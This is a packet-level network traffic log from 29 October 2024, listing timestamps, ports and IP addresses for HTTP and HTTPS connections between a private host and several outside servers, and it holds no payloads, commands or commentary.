Oct 29, 2024 15:27:48.445916891 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445921898 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445929050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445936918 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445949078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445950985 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445962906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.445980072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.445997953 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446033001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446037054 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446039915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446047068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446053982 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446058989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446064949 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446079016 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446085930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446089029 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446116924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446147919 CET	443	50001	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.446150064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446157932 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446163893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446197033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446213961 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446352959 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446353912 CET	50001	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.446373940 CET	443	50001	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.446392059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446419001 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446434975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446441889 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446472883 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446595907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446607113 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446613073 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446619987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446626902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446638107 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446640968 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446644068 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446651936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446665049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446671963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446676016 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446679115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446685076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.446692944 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446710110 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446728945 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.446894884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447005033 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447086096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447099924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447112083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447118044 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447125912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447138071 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447139978 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447144985 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447151899 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447156906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447163105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447170019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447171926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447176933 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447185040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447191954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447205067 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447211027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447217941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447223902 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447230101 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447237015 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447231054 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447231054 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447246075 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447257042 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447259903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447268009 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447271109 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447280884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447288036 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447292089 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447293997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447303057 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447320938 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447324038 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447333097 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447340965 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447349072 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447350025 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447357893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447362900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447369099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447369099 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447376966 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447407007 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447431087 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447449923 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447455883 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447468042 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447474003 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447479010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447484970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447496891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.447505951 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447539091 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.447794914 CET	443	50001	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.447876930 CET	50001	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.448358059 CET	50001	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.448431969 CET	443	50001	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.449103117 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449110031 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449122906 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449153900 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449172974 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449179888 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449192047 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449198961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449224949 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449250937 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449343920 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449351072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449363947 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449369907 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449376106 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449383020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449395895 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449398994 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449402094 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449410915 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449433088 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449449062 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449506998 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449513912 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449526072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449532032 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449537992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449546099 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449552059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449558973 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449558973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449573040 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449604034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449604988 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449649096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449656010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449661970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449702024 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449714899 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449774027 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449882030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449888945 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449902058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449908972 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449915886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449922085 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449925900 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449928045 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.449947119 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.449976921 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450082064 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450088978 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450102091 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450107098 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450113058 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450119019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450131893 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450133085 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450154066 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450176954 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450217962 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450232029 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450237989 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450252056 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450259924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450265884 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450268030 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450272083 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450278997 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450284958 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450295925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450299025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450303078 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450309992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450315952 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450318098 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450321913 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450330019 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450330973 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450337887 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450356960 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450375080 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450402021 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450408936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450411081 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450422049 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450428963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450436115 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450442076 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450448990 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450452089 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450457096 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450464964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450506926 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450532913 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450563908 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450723886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450736046 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450741053 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450754881 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450761080 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450776100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450781107 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450783014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450797081 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.450808048 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450829983 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.450859070 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.530405045 CET	50002	443	192.168.2.6	23.198.7.184
Oct 29, 2024 15:27:48.530422926 CET	443	50002	23.198.7.184	192.168.2.6
Oct 29, 2024 15:27:48.533166885 CET	443	50004	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.533560038 CET	50004	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.533571959 CET	443	50004	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.533843040 CET	443	50003	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.534174919 CET	50003	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.534188986 CET	443	50003	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.534584045 CET	443	50004	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.534646034 CET	50004	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.535309076 CET	443	50003	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.535404921 CET	50003	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.536212921 CET	50004	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.536276102 CET	443	50004	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.536626101 CET	50003	443	192.168.2.6	204.79.197.219
Oct 29, 2024 15:27:48.536709070 CET	443	50003	204.79.197.219	192.168.2.6
Oct 29, 2024 15:27:48.584053993 CET	443	50006	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:48.584300041 CET	50006	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:48.584319115 CET	443	50006	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:48.585326910 CET	443	50006	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:48.585397005 CET	50006	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:48.586314917 CET	50006	443	192.168.2.6	23.198.7.183
Oct 29, 2024 15:27:48.586380005 CET	443	50006	23.198.7.183	192.168.2.6
Oct 29, 2024 15:27:48.594624996 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.595299006 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:48.595340967 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.595699072 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.596323967 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:48.596412897 CET	443	50005	13.107.246.57	192.168.2.6
Oct 29, 2024 15:27:48.596555948 CET	50005	443	192.168.2.6	13.107.246.57
Oct 29, 2024 15:27:48.598980904 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.598998070 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599004030 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599055052 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599095106 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599096060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599103928 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599116087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599123001 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599152088 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599154949 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599159002 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599169970 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599175930 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599178076 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599209070 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599235058 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599308014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599323034 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599335909 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599343061 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599349022 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599355936 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599361897 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599368095 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599375010 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599375963 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599391937 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599419117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599463940 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599469900 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599482059 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599488020 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599493980 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599499941 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599510908 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599519014 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599535942 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599569082 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599574089 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599581957 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599586964 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599592924 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599597931 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599603891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599616051 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599622011 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599628925 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599630117 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599634886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.599659920 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.599674940 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600086927 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600099087 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600111961 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600116014 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600121975 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600138903 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600157022 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600162983 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600172043 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600177050 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600177050 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600183010 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600188971 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600189924 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600193024 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600200891 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600207090 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600214005 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600227118 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600229025 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600231886 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600239992 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600253105 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600259066 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600260019 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600264072 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600270987 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600275993 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600284100 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600290060 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600290060 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600311995 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600326061 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600356102 CET	49940	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:48.600481033 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600486040 CET	80	49940	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:48.600496054 CET	80	49940	185.215.113.206	192.168.2.6
